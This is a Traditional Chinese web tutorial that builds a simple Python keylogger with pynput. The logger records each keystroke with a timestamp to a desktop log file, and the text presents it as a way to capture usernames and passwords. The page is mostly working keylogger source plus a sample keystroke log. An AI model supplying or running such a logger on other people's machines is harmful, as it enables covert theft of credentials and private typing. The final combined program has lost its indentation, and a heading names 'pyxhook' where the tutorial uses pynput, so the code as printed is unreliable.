使用 Python 設計鍵盤記錄器


在這裡,我們將使用 Python 開發一個鍵盤記錄器。但在那之前,什麼是鍵盤記錄器?鍵盤記錄器是一個可以監控按鍵的程式。這些按鍵將儲存在一個日誌檔案中。我們可以使用此按鍵記錄敏感資訊,例如使用者名稱和密碼。

要建立鍵盤記錄器,我們將使用 pynput 模組。由於它不是 Python 的標準庫,因此我們可能需要安裝它。

安裝 pyxhook 模組 -

我將使用 pip 來安裝 pynput -

pip install pynput
Requirement already satisfied: pynput in c:\python\python361\lib\site-packages (1.4)
Requirement already satisfied: six in c:\python\python361\lib\site-packages (from pynput) (1.10.0)

要檢查我們的安裝是否成功,請嘗試在 Python shell 中匯入該模組。

>>> import pynput
>>>

開始構建鍵盤記錄器

安裝所需的庫後,匯入所需的包和方法。為了監控鍵盤,我們將使用 pynput.keyboard 模組的 key 和 listener 方法。我們還將使用 logging 模組將我們的按鍵記錄到檔案中。

from pynput.keyboard import Key, Listener
import logging

接下來,我們將設定儲存日誌檔案的路徑、日誌儲存模式和格式。

log_dir = r"C:/users/username/desktop/"
logging.basicConfig(filename = (log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')

然後我們呼叫了 on_press() 函式,它為按鍵建立了一個定義,並以 key 作為引數。

def on_press(key):
   logging.info(str(key))

我們要做的最後一件事是設定 Listener 的例項,並在其中定義 on_press 方法,然後將該例項加入到主執行緒。

with Listener(on_press=on_press) as listener:
listener.join()

結合上述步驟,我們就可以建立最終程式了 -

from pynput.keyboard import Key, Listener
import logging
log_dir = r"C:/users/rajesh/desktop/"
logging.basicConfig(filename = (log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()

在我的指令碼執行期間,我嘗試開啟瀏覽器並輸入“hello world, Wikipedia”。讓我們看看我們的日誌檔案發生了什麼 -

我可以看到,在我的電腦桌面上建立了一個“keyLog.txt”檔案,如果我嘗試檢視其內容,我將得到 -

2019-01-18 17:06:21,854: Key.cmd
2019-01-18 17:06:22,022: 'd'
2019-01-18 17:06:39,304: 'h'
2019-01-18 17:06:39,435: 'e'
2019-01-18 17:06:39,564: 'l'
2019-01-18 17:06:39,754: 'l'
2019-01-18 17:06:39,943: 'o'
2019-01-18 17:06:40,245: Key.space
2019-01-18 17:06:40,450: 'w'
2019-01-18 17:06:40,536: 'o'
2019-01-18 17:06:40,694: 'r'
2019-01-18 17:06:40,818: 'l'
2019-01-18 17:06:40,943: 'd'
2019-01-18 17:06:43,527: ','
2019-01-18 17:06:44,947: Key.space
2019-01-18 17:06:45,091: 'p'
2019-01-18 17:06:45,342: 'y'
2019-01-18 17:06:45,468: 't'
2019-01-18 17:06:45,580: 'h'
2019-01-18 17:06:45,674: 'o'
2019-01-18 17:06:45,808: 'n'
2019-01-18 17:06:45,872: Key.space
2019-01-18 17:06:48,692: Key.backspace
2019-01-18 17:06:48,891: Key.backspace
2019-01-18 17:06:49,079: Key.backspace
2019-01-18 17:06:49,223: Key.backspace
2019-01-18 17:06:49,405: Key.backspace
2019-01-18 17:06:49,584: Key.backspace
2019-01-18 17:06:49,816: Key.backspace
2019-01-18 17:06:50,004: 'w'
2019-01-18 17:06:50,162: 'i'
2019-01-18 17:06:50,392: 'k'
2019-01-18 17:06:50,572: 'i'
2019-01-18 17:06:51,395: 'p'
2019-01-18 17:06:51,525: 'e'
2019-01-18 17:06:51,741: 'd'
2019-01-18 17:06:51,838: 'i'
2019-01-18 17:06:52,104: 'a'

因此我們可以看到,無論我在瀏覽器中嘗試輸入什麼,每個按鍵都儲存在這個檔案中。所以,我們在這裡用 Python 建立了一個非常簡單的鍵盤記錄器。

更新於: 2019-07-30

4K+ 瀏覽量

開啟你的 職業生涯

透過完成課程獲得認證

開始學習
廣告

© . All rights reserved.